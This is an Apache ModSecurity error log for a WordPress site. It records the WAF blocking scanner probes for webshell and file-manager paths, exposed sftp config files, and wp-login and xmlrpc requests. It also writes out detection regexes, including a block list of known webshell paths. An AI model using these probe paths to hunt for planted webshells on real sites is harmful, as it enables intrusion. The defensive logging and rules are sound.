[Sun Dec 21 05:28:24.812361 2025] [:error] [pid 20676:tid 20744] [client 4.189.144.205:53491] [client 4.189.144.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aUcU-KpSa967F4pOO5y6NQAAAIs"], referer: https://www.google.co.uk/
[Sun Dec 21 05:28:25.042541 2025] [:error] [pid 20676:tid 20740] [client 4.189.144.205:13318] [client 4.189.144.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aUcU-apSa967F4pOO5y6NgAAAIc"], referer: https://www.google.com/
[Sun Dec 21 05:28:25.280254 2025] [:error] [pid 20676:tid 20734] [client 4.189.144.205:17348] [client 4.189.144.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aUcU-apSa967F4pOO5y6NwAAAIE"], referer: https://www.google.co.uk/
[Sun Dec 21 05:28:25.513648 2025] [:error] [pid 20675:tid 20711] [client 4.189.144.205:16678] [client 4.189.144.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aUcU-byUvZnd3bHSR3YE3wAAAEU"], referer: https://www.google.com/
[Sun Dec 21 05:28:27.154719 2025] [:error] [pid 20676:tid 20753] [client 4.189.144.205:53465] [client 4.189.144.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.189.144.205, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aUcU-6pSa967F4pOO5y6PgAAAJQ"], referer: https://www.google.fr/
[Sun Dec 21 05:28:27.272609 2025] [:error] [pid 20674:tid 20688] [client 4.189.144.205:38863] [client 4.189.144.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.189.144.205, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-login.php"] [unique_id "aUcU-9hSbhHOCK6TAw8R8wAAAAo"], referer: https://www.google.fr/
[Sun Dec 21 05:28:30.517263 2025] [:error] [pid 20676:tid 20745] [client 4.189.144.205:53465] [client 4.189.144.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.189.144.205, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aUcU_qpSa967F4pOO5y6RgAAAIw"], referer: https://www.google.com/
[Sun Dec 21 05:28:30.635275 2025] [:error] [pid 20674:tid 20680] [client 4.189.144.205:38863] [client 4.189.144.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.189.144.205, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/index.php/xmlrpc.php"] [unique_id "aUcU_thSbhHOCK6TAw8R9wAAAAI"], referer: https://www.google.com/
[Sun Dec 21 06:08:54.186524 2025] [:error] [pid 20760:tid 20783] [client 223.185.27.64:14465] [client 223.185.27.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.27.64, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aUceduXEVvRTAtWo3gm15QAAANQ"]
[Sun Dec 21 06:43:22.563818 2025] [:error] [pid 20675:tid 20710] [client 103.65.236.149:62015] [client 103.65.236.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aUcmiryUvZnd3bHSR3Yc1wAAAEQ"]
[Sun Dec 21 06:43:23.119213 2025] [:error] [pid 12191:tid 12200] [client 103.65.236.149:58358] [client 103.65.236.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aUcmiwM0m463UZmqdiAAjgAAAQc"]
[Sun Dec 21 10:24:22.926378 2025] [autoindex:error] [pid 12191:tid 12205] [client 144.91.111.74:59757] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Dec 21 12:20:33.768662 2025] [:error] [pid 12191:tid 12215] [client 43.138.68.113:51224] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aUd1kQM0m463UZmqdiBYpwAAARY"]
[Sun Dec 21 18:40:33.927327 2025] [:error] [pid 59070:tid 59143] [client 49.233.45.47:59710] [client 49.233.45.47] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUfOoX3dhXne9KX1kgLkvAAAAI8"]
[Sun Dec 21 22:35:47.781316 2025] [:error] [pid 59067:tid 59092] [client 104.215.59.38:3454] [client 104.215.59.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aUgFw8tpsOP1NfIK_qKE5gAAABI"]
[Sun Dec 21 22:35:50.230510 2025] [:error] [pid 59158:tid 59161] [client 104.215.59.38:22910] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aUgFxo7NvyNF8ab5VgVliAAAAME"]
[Sun Dec 21 22:35:52.449036 2025] [:error] [pid 30183:tid 30195] [client 104.215.59.38:22903] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aUgFyOCmP2zCzk_WZcUvogAAAQo"]
[Sun Dec 21 22:35:53.378991 2025] [:error] [pid 59158:tid 59164] [client 104.215.59.38:36948] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aUgFyY7NvyNF8ab5VgVligAAAMQ"]
[Sun Dec 21 22:35:54.585384 2025] [:error] [pid 42755:tid 42767] [client 104.215.59.38:30405] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aUgFyuW0XvxgXMTJJbv3uwAAAUo"]
[Sun Dec 21 22:35:55.239425 2025] [:error] [pid 59158:tid 59181] [client 104.215.59.38:29087] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aUgFy47NvyNF8ab5VgVliwAAANU"]
[Sun Dec 21 22:35:56.185245 2025] [:error] [pid 42755:tid 42765] [client 104.215.59.38:40499] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aUgFzOW0XvxgXMTJJbv3vQAAAUg"]
[Sun Dec 21 22:35:57.194013 2025] [:error] [pid 42755:tid 42778] [client 104.215.59.38:25481] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aUgFzeW0XvxgXMTJJbv3vgAAAVU"]
[Sun Dec 21 22:35:57.564125 2025] [:error] [pid 59067:tid 59088] [client 104.215.59.38:29109] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aUgFzctpsOP1NfIK_qKE8wAAAA4"]
[Sun Dec 21 22:35:59.202725 2025] [:error] [pid 65237:tid 65250] [client 104.215.59.38:51239] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock.php"] [unique_id "aUgFz1VJYjxIpnUJfgJgwgAAAYs"]
[Sun Dec 21 22:35:59.885161 2025] [:error] [pid 59158:tid 59175] [client 104.215.59.38:36962] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock.php"] [unique_id "aUgFz47NvyNF8ab5VgVlkgAAAM8"]
[Sun Dec 21 22:36:01.880010 2025] [:error] [pid 30183:tid 30207] [client 104.215.59.38:3679] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock.php"] [unique_id "aUgF0eCmP2zCzk_WZcUvrAAAARY"]
[Sun Dec 21 22:36:03.094814 2025] [:error] [pid 59158:tid 59164] [client 104.215.59.38:25502] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock.php"] [unique_id "aUgF047NvyNF8ab5VgVllAAAAMQ"]
[Sun Dec 21 22:36:04.000144 2025] [:error] [pid 59070:tid 59133] [client 104.215.59.38:22905] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.trash7309/index.php"] [unique_id "aUgF033dhXne9KX1kgJvoAAAAIU"]
[Sun Dec 21 22:36:05.051301 2025] [:error] [pid 30183:tid 30192] [client 104.215.59.38:39844] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.trash7309/index.php"] [unique_id "aUgF1eCmP2zCzk_WZcUvtAAAAQc"]
[Sun Dec 21 22:36:06.138406 2025] [:error] [pid 65237:tid 65239] [client 104.215.59.38:39815] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.trash7309/index.php"] [unique_id "aUgF1lVJYjxIpnUJfgJgxQAAAYA"]
[Sun Dec 21 22:36:07.312152 2025] [:error] [pid 59067:tid 59094] [client 104.215.59.38:36951] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.trash7309/index.php"] [unique_id "aUgF18tpsOP1NfIK_qKFAgAAABQ"]
[Sun Dec 21 22:36:08.287965 2025] [:error] [pid 59158:tid 59160] [client 104.215.59.38:39591] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mah.php"] [unique_id "aUgF2I7NvyNF8ab5VgVlmwAAAMA"]
[Sun Dec 21 22:36:08.899682 2025] [:error] [pid 59068:tid 59103] [client 104.215.59.38:30423] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mah.php"] [unique_id "aUgF2BmLyLqWUlrjwyewLQAAAEI"]
[Sun Dec 21 22:36:10.144499 2025] [:error] [pid 65237:tid 65252] [client 104.215.59.38:36181] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mah.php"] [unique_id "aUgF2lVJYjxIpnUJfgJgygAAAY0"]
[Sun Dec 21 22:36:11.372199 2025] [:error] [pid 59068:tid 59120] [client 104.215.59.38:3670] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mah.php"] [unique_id "aUgF2xmLyLqWUlrjwyewMgAAAFM"]
[Sun Dec 21 22:36:11.835735 2025] [:error] [pid 59070:tid 59149] [client 104.215.59.38:36186] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/faq.php"] [unique_id "aUgF233dhXne9KX1kgJvrgAAAJU"]
[Sun Dec 21 22:36:14.726158 2025] [:error] [pid 59068:tid 59121] [client 104.215.59.38:3662] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/faq.php"] [unique_id "aUgF3hmLyLqWUlrjwyewOAAAAFQ"]
[Sun Dec 21 22:36:16.138411 2025] [:error] [pid 59070:tid 59146] [client 104.215.59.38:40458] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/faq.php"] [unique_id "aUgF4H3dhXne9KX1kgJvswAAAJI"]
[Sun Dec 21 22:36:16.687616 2025] [:error] [pid 30183:tid 30191] [client 104.215.59.38:22851] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/faq.php"] [unique_id "aUgF4OCmP2zCzk_WZcUvvQAAAQY"]
[Sun Dec 21 22:36:17.206314 2025] [:error] [pid 42755:tid 42772] [client 104.215.59.38:22366] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aUgF4eW0XvxgXMTJJbv3zgAAAU8"]
[Sun Dec 21 22:36:18.180032 2025] [:error] [pid 30183:tid 30202] [client 104.215.59.38:25523] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aUgF4uCmP2zCzk_WZcUvvwAAARE"]
[Sun Dec 21 22:36:18.873696 2025] [:error] [pid 65237:tid 65263] [client 104.215.59.38:26773] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aUgF4lVJYjxIpnUJfgJg1wAAAZg"]
[Sun Dec 21 22:36:19.654937 2025] [:error] [pid 59067:tid 59088] [client 104.215.59.38:39860] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aUgF48tpsOP1NfIK_qKFDQAAAA4"]
[Sun Dec 21 22:36:20.676909 2025] [:error] [pid 59067:tid 59096] [client 104.215.59.38:4006] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file17.php"] [unique_id "aUgF5MtpsOP1NfIK_qKFEQAAABY"]
[Sun Dec 21 22:36:21.317068 2025] [:error] [pid 59070:tid 59142] [client 104.215.59.38:29002] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file17.php"] [unique_id "aUgF5X3dhXne9KX1kgJvtwAAAI4"]
[Sun Dec 21 22:36:22.616294 2025] [:error] [pid 30183:tid 30188] [client 104.215.59.38:21223] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file17.php"] [unique_id "aUgF5uCmP2zCzk_WZcUvxQAAAQM"]
[Sun Dec 21 22:36:23.228033 2025] [:error] [pid 42755:tid 42770] [client 104.215.59.38:29625] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file17.php"] [unique_id "aUgF5-W0XvxgXMTJJbv33QAAAU0"]
[Sun Dec 21 22:36:24.089324 2025] [:error] [pid 30183:tid 30208] [client 104.215.59.38:22355] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/footer.php"] [unique_id "aUgF6OCmP2zCzk_WZcUvyAAAARc"]
[Sun Dec 21 22:36:24.949317 2025] [:error] [pid 59067:tid 59095] [client 104.215.59.38:29602] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/footer.php"] [unique_id "aUgF6MtpsOP1NfIK_qKFGQAAABU"]
[Sun Dec 21 22:36:26.051405 2025] [:error] [pid 59158:tid 59176] [client 104.215.59.38:22399] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/footer.php"] [unique_id "aUgF6o7NvyNF8ab5VgVlpwAAANA"]
[Sun Dec 21 22:36:26.712465 2025] [:error] [pid 59158:tid 59161] [client 104.215.59.38:26783] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/footer.php"] [unique_id "aUgF6o7NvyNF8ab5VgVlqgAAAME"]
[Sun Dec 21 22:36:27.402179 2025] [:error] [pid 59067:tid 59088] [client 104.215.59.38:29015] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file8.php"] [unique_id "aUgF68tpsOP1NfIK_qKFHAAAAA4"]
[Sun Dec 21 22:36:28.593226 2025] [:error] [pid 59158:tid 59183] [client 104.215.59.38:25448] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file8.php"] [unique_id "aUgF7I7NvyNF8ab5VgVlswAAANc"]
[Sun Dec 21 22:36:29.136115 2025] [:error] [pid 59158:tid 59162] [client 104.215.59.38:30487] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file8.php"] [unique_id "aUgF7Y7NvyNF8ab5VgVltQAAAMI"]
